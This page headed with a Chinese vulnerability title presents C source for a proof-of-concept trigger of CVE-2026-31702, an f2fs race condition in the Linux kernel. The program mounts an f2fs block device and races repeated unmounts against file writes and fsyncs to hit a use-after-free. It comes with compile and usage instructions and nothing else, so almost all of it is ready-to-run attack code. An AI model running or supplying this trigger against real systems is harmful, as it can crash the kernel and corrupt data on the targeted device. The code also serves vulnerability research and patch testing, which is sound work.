CVE-2026-31702 Linux Kernel f2fs释放后重利用漏洞

/* * PoC for CVE-2026-31702 (Race Condition in f2fs) * This is a conceptual trigger. * Compile: gcc -o poc poc.c * Usage: ./poc /dev/sdX (where sdX is an f2fs formatted block device) */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/mount.h> #include <sys/stat.h> #include <pthread.h> #define MOUNT_POINT "/mnt/f2fs_test" #define LOOP_COUNT 1000 void *unmount_thread(void *arg) { for (int i = 0; i < LOOP_COUNT; i++) { system("umount " MOUNT_POINT " 2>/dev/null"); usleep(100); } return NULL; } void *write_thread(void *arg) { char buffer[4096]; int fd; for (int i = 0; i < LOOP_COUNT; i++) { fd = open(MOUNT_POINT "/test_file", O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd > 0) { // Write data to trigger compression and writeback for(int j=0; j<1024; j++) write(fd, buffer, 4096); fsync(fd); close(fd); } usleep(50); } return NULL; } int main(int argc, char *argv[]) { pthread_t t1, t2; if (argc < 2) { printf("Usage: %s <device>\n", argv[0]); return 1; } system("mkdir -p " MOUNT_POINT); // Mount loop to trigger the race for(int i=0; i<10; i++) { if (mount(argv[1], MOUNT_POINT, "f2fs", 0, NULL) == 0) { printf("Mounted successfully. Starting race...\n"); pthread_create(&t1, NULL, write_thread, NULL); pthread_create(&t2, NULL, unmount_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); system("umount " MOUNT_POINT " 2>/dev/null"); } } return 0; }